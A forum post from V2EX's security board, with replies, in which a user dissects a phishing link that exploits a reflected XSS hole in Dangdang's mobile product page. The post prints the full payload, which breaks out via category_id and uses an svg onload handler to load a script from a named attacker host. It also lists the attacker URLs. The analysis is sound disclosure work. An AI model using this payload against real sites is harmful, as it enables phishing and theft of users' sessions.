V2EX = way to explore
V2EX 是一个关于分享和探索的地方
现在注册
已注册用户请  登录
Wanten
V2EX  ›  信息安全

当当网 XSS 攻击

  •  3
     
  •   Wanten · 15 天前 · 2145 次点击

    朋友在微信上问我当当网上小米产品抽奖是不是真实的。

    他发了一张朋友圈其他人成功签收奖品的截图(很有真实性),以及抽奖链接:

    http://product.m.dangdang.com/detail29297129-56-56.html?category_id=%3C/script%3E%3Csvg%20onload=setTimeout%28function%28%29%7Bwith%28document%29body.appendChild%28createElement%28%60script%60%29%29.src%3D%60%2F%2Fnjkloop.oss-accelerate.aliyuncs.com%2Fdangdang%60%7D%2C0%29%3E

    没多想,我点进去,跳转到另一个地方,开始抽奖,尝试两次后成功,但需要分享才能领取,这使我感到疑惑,我还没登陆呢,这就要我分享了?明显骗局。

    decode url ,得到:

    http://product.m.dangdang.com/detail29297129-56-56.html?category_id=</script><svg onload=setTimeout(function(){with(document)body.appendChild(createElement(`script`)).src=`//njkloop.oss-accelerate.aliyuncs.com/dangdang`},0)>
    

    很显然这是 xss 攻击:

    1. 注入恶意代码:

      • 参数category_id的值中包含了一个结束</script>标签和一个SVG元素:
      </script><svg onload=setTimeout(function(){with(document)body.appendChild(createElement(`script`)).src=`//njkloop.oss-accelerate.aliyuncs.com/dangdang`},0)>
      
    2. 结束现有的脚本标签:

      • </script>用于结束当前可能在解析的任何脚本标签。这是为了确保接下来的内容不会被当作普通文本处理,而是作为新的 HTML 和 JavaScript 代码执行。
    3. SVG 元素和 onload 事件:

      • <svg onload=...>使用 SVG 标签,因为 SVG 标签的 onload 事件可以执行 JavaScript 代码。这使得攻击者可以在页面加载时执行任意 JavaScript 代码。
    4. 延迟执行恶意代码:

      • setTimeout(function(){...},0)用于确保代码在浏览器完成当前任务后立即执行。

      • with(document)允许在代码块内直接使用 document 对象的方法和属性。

      • body.appendChild(createElement(script))创建一个新的 script 元素并将其附加到页面的 body 中。

      • .src='//njkloop.oss-accelerate.aliyuncs.com/dangdang'将新创建的 script 元素的 src 属性设置为一个外部脚本 URL 。这会导致浏览器从指定的 URL 加载并执行该脚本。

    攻击者使用了:

    document.open();
    document.write(result);
    document.close();
    

    直接可以篡改文档,而不会改变 url ,因此分享给其他人后,还是以 dangdang.com 开头,并携带攻击参数 category_id 。

    攻击之所以会成功,主要是因为,当当网将 category_id 的值直接插入到 HTML 页面中,而没有进行适当的转义或过滤。导致这些参数成为 HTML 的一部分,并且在浏览器中被解析和执行。

    被加载的攻击代码:

    1. njkloop.oss-accelerate.aliyuncs.com/dangdang
    2. runs123.oss-accelerate.aliyuncs.com/public/html2/55/index.html

    为了防止攻击者销毁代码,我做了备份:

    https://github.com/WantenMN/DangDang-XSS-Exploit-Example

    我不太想了解攻击者的实际意图,有兴趣的的小伙伴可以接着分析。

    13 条回复    2024-05-17 19:22:37 +08:00
    codeName
        1
    codeName  
       15 天前
    学习了
    qq316107934
        2
    qq316107934  
       15 天前
    攻击者现在跳转到百度了
    HuberyPang
        3
    HuberyPang  
       15 天前
    涨姿势了
    Wanten
        4
    Wanten  
    OP
       15 天前
    @qq316107934 需要在微信打开才能正确跳转,其他地方会跳转百度。请不要登陆当当网,避免 cookie 泄露
    lzy250
        5
    lzy250  
       15 天前
    当当网有 src 吗?
    lupus721
        6
    lupus721  
       15 天前
    点个赞
    ysc3839
        7
    ysc3839  
       15 天前 via Android
    内容是 AI 生成的?哪有用到 document.write ?
    Wanten
        8
    Wanten  
    OP
       15 天前
    @ysc3839 1~4 的解释部分确实是 AI 生成的,但发表有关代码评论时请先看一遍代码:

    https://github.com/WantenMN/DangDang-XSS-Exploit-Example/blob/f54d2f59c12ce7afe9a4a22925d09bd1221579d8/src/dangdang.js#L99
    aoizz
        9
    aoizz  
       15 天前


    不小心的话真有可能中招
    iOCZS
        10
    iOCZS  
       15 天前
    这种攻击需要传播分享链接才有效
    treblex
        11
    treblex  
       15 天前
    感谢当当学习网,我也学会了🤣
    wanwusangzhi
        12
    wanwusangzhi  
       15 天前 via iPhone
    赶紧冲
    ysc3839
        13
    ysc3839  
       15 天前 via Android
    @Wanten 多谢指正
    关于   ·   帮助文档   ·   博客   ·   API   ·   FAQ   ·   实用小工具   ·   1033 人在线   最高记录 6679   ·     Select Language
    创意工作者们的社区
    World is powered by solitude
    VERSION: 3.9.8.5 · 26ms · UTC 23:07 · PVG 07:07 · LAX 16:07 · JFK 19:07
    Developed with CodeLauncher
    ♥ Do have faith in what you're doing.